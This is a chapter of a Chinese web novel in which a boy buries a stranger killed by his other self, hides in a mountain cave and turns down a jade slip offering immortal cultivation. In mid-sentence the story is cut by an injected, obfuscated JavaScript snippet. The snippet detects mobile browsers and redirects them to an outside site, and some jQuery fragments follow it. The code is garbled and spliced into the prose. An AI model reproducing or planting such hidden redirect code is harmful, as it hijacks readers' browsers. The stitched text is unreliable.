糖葫芦酸酸甜 作品
70. 噩梦
尸体仍在床下,这一切并非一场噩梦。
江乘雪深吸一口气,同手同脚地走到床边,弯腰,蹲下。
指尖触到那只人手时,他先是瑟缩了一下,而后闭眼,握上手腕,一口气将床下的“人”拽了出来。尽管早有准备,在看清他胸口那样东西时,江乘雪眼前仍是一阵眩晕。
是他的柴刀,那柄微微卷刃、用了多年的柴刀。
他强压下心中的呕吐感,视线移动到尸体的脸上。死者是男性,年龄在四十上下,蓬松脏乱的胡子挡住了大半张脸,胡须尾部沾了血,粘嗒嗒地聚成一团。
郢镇所有人的脸他都记得清清楚楚,眼前这人不属于其中任何一个。
江乘雪缓缓松了口气,脑内飞速思考起其他可能,突然,一句话在他脑中闪过:
“……你二婶今早出门撞见个怪人,胡子邋遢的,逢人就傻笑……”
他昨天正因为杀了黑狗的事紧张,并未细想李二伯的话,现在想来……
江乘雪目光重新落回尸体脸上,胡子邋遢,状若痴傻,正与二伯口中那人对得上!
也就是说,此人是个偶然闯入郢镇的流浪汉。
这样的话……
江乘雪凝视着面前这具尸体,视线从那张大睁着双眼的脸上一直游移到松松挂着一只草鞋的皲裂脚掌上,双臂慢慢垂落下去,心中是前所未有的平静,近乎麻木的——平静。
他已经死了,但他还要活着。
要怪就怪此人运气不好吧,如此恰好地闯入了郢镇,又如此恰好地出现在他家附近。他已经把能做的都做了,不是么?
江乘雪朝窗外望了一眼,天已大亮,四周犬吠声、鸡鸣声交织成曲,远处镇民早起忙碌的身影凝成一个个小小的黑点——郢镇已从梦中醒来。
有谁仍在梦中?有谁宁愿沉湎于无尽黑暗中,不敢抬头看一看太阳?
江乘雪转过头,拔下胸口的柴刀,将那具尸体推回床底,直到“他”彻底隐入那层薄薄木板投下的阴影中,连一根手指都没有暴露在外时,他这才重新站起来,捶了捶蹲得发麻的腿。
他还有一件必须要做的事,但不是现在。
江乘雪从米缸中倒出所剩无几的白米,全数倒进锅中煮了,最终将将得了一碗稀粥。
他坐回床上,端着粥小口小口嘬着,一边配着粥将家中最后一小块兔肉干啃完。这是他近几日吃得最饱的一餐。
吃完家中所有食物后,江乘雪一抹嘴,抄起床边那卷藤条编起筐来。他编得极慢,直到天边爬上红霞,才将这卷藤条彻底用尽。
江乘雪将墙边的七八个藤筐叠作一沓,背在背上出了房门。待到天彻底黑下来,房门才被重新推开,先时那些藤筐已换作怀中布包里的几块饼子。
江乘雪小心地把布包在身上挂好,带上火石,拿上柴刀,拖出了床下的尸体。他将尸体用草褥子一裹,趁着夜色黑沉,拖去了郢镇边缘少有人来的雪地处,就地挖起坑来。
眼见坑挖得差不多了,江乘雪把尸体往深坑里一丢,把草褥子擦干净后带在身上,回填挖出的雪和土,清理好一路上的痕迹,转身向玉龙山的方向走去。
他要离开郢镇,至少,暂时离开。
……
大雪封山,十三岁的江乘雪在及膝深的雪中一步步向山上走着。夜已深了,他走得极慢,那柄柴刀被他死死攥在手中,硌得掌心发疼。
不知是否是老天都支持他的决定,一路上,江乘雪没有遇到任何野兽,四周只有雪,无尽的、看不到边界的雪。
江乘雪循着记忆中的路线,朝着某个确定的方向一直走,不停地走,久到他几乎失去对双腿的感知时,眼前出现了记忆中那棵歪脖子树。
江乘雪徐徐吐出一口气,到了,这棵树的后面有一个山洞,他以往进山打猎时会在此地休整,不出意外的话,这里会成为他接下来几天的住所。
挪开刻意挡在洞口的大石,江乘雪进了山洞,用以前剩下的几根柴点起火来。直到看着橙黄火焰在面前摇曳,升腾的热气扑在脸上,他才有了一点仍旧活在世上的真实感。
是的,他还活着。
不管另一个“他”做了什么,至少现在的他,还能以清醒的状态活下去。
这里只有他一个人,不会再有人因他而死了。
不大的山洞内,江乘雪躺在草褥子上,睁眼看着凹凸不平的洞顶,耳边是木柴燃烧的哔剥声,早晨那具尸体的样貌又浮现在脑中,萦绕不去。
他其实是个胆小鬼,遇到事情只会想着如何逃开、如何遮掩,不敢去面对、不敢去承担后果。
江乘雪彻底没了睡意,他垂下眼眸,余光瞥见了自己叠在腹部的手。
昨天,他也是用这双手,拿着柴刀,捅进了另一个人的胸口吗?
你为什么要这样做呢?他喃喃问自己,明明这样是错的。
夜晚的山洞很安静,四周听不见一丝声响,没有答案,也不会有人回答他。
他只能说对不起,可“对不起”又有什么用呢?那个人终究是死了,因他而死,无论他说什么、做什么,都改变不了这个既定的事实。
江乘雪摊开手,凝视着自己的掌心,这里曾经沾满了血,可现在,这里什么也没有,他的手是干净的,没有人知道他做了什么。
他缓缓挪动手掌,按在胸口上。在心脏一如既往的跳动中,他发现自己好像并没有想象中愧疚,在最初的震悚过后,剩下的唯有平静。
平静地确定死者的身份,平静地评判他的死对自己的影响,平静地处理好所有事,来到这里。
就像是生来就不具备名为“愧疚”的感情。
或许真正的他就是这样,卑劣、阴暗、自私。
可那又能怎样呢?他改变不了自己,他甚至无法阻止“另一个自己”挥动柴刀,他只能逃、也只会逃,这已经是他为数不多所能做的事了。
他只想像往常一样在郢镇继续生活下去,不求大富大贵,只求能平安顺遂地活到老死,这个愿望很过分吗?
江乘雪闭上眼睛,不再去想任何事。
一片寂静中,他听见了石子滚落的声音,而后,他的眼前亮起了一片剧烈的亮光——那不是火堆该有的亮度。
江乘雪猛地睁开眼,难以置信地发现这个熟悉的山洞中出现了另一样东西,一样绝不可能出现在普通山洞中的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663076|167440||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
东西——一枚玉简。
“这是什么?”江乘雪从草褥子上站起,快步走到一旁洞壁处,从剥裂的石壁后小心拾起了玉简,拿在手中端详。
玉简上刻着密密麻麻的蝇头小楷,江乘雪从小在郢镇长大,自然认不得几个字,可奇怪的是,在他碰到玉简的那刹,玉简上文字的含义竟自动浮现在他脑中。
庞大的信息流一个劲地汇入脑中,江乘雪一时顿在原地,消化起玉简告诉他的信息。
一刻钟后,他缓过神来,心中却更加迷茫。
这枚玉简说,它能给他带来无与伦比的力量,让他拥有想做什么就做什么的自由,只要他肯放弃现在的生活,诚心诚意地滴上一滴血,它就会将所有的功法毫无保留地教给他,让他也成为超脱尘世的修仙者。
当然,省略了玉简高高在上的语气以及对他现在生活的鄙夷。
江乘雪抿唇看向手中的玉简,心中有种不切实际的荒谬感。
他活了这么多年,所接触的仅有砍柴打猎的镇民生活,想得最多的不过是下一餐吃什么、家里的米还有没有剩,那些所谓仙人也好,修道也罢,仅仅是镇民们茶余饭后闲聊时的一两句闲话而已。
实话说,他对玉简开出的条件毫无兴趣,不过这玉简看着这么有能力,说不定……
他清了清嗓子,试探道:“这位……玉简大人?我不想要你说的这些,若我给你一滴血,你能不能做到让死人复活?”
“哈?”他脑内的玉简十分人性化地回了一句,又道:“这种蝼蚁死了就死了,反正你都要跟我修道,待你修道大成,凡间的蝼蚁奈何不了你分毫,管他做甚?”
“那我不要了。”江乘雪平静回道。
玉简瞪大了不存在的眼睛:“你究竟知不知道自己在说什么?要不是看中你还算有潜力,这等好事再怎么也落不到你这种凡人头上!”
“我说,我不打算跟你修道,玉简大人还是另找他人吧。”江乘雪又重复了一遍,而后丢开了玉简,回到草褥子上躺下。
玉简一离手,脑中就再也没有声音传来,四周重新安静下来,江乘雪左右辗转几下,渐渐地,一阵睡意涌上,他再也熬不住,就这样阖上双眼陷入深眠。
第二日,江乘雪在山洞中醒来,环视一圈后,发现周围一切如常,只有那枚玉简不甘心地闪着亮光。
他彻底安下心来。
往后几日,再也没有异常之事发生,他体内“另外一个自己”也再没有在他睡梦中夺走他身体的控制权。
带来的饼子吃完后,江乘雪又在山洞附近捉了只雪兔,就这么烤了吃了。些许油花溅在玉简上,引得它又是一阵闪光,但无人在意。
在山中度过一周后,江乘雪见自己身上的异状不再发生,放心地离开了玉龙山,回到了他那间茅草屋内,回归了最普通不过的生活。
……
江乘雪走后,玉龙山,山洞中,一个裹在黑袍中的人影在玉简旁显出身形。
那人捡起地上的玉简,嘴角勾起一抹弧度:“啧,真是可惜。都被逼到这种地步了,还不肯放下那过家家般的正常生活吗?”
“那好啊,我倒要看看,你有没有本事瞒上一辈子。”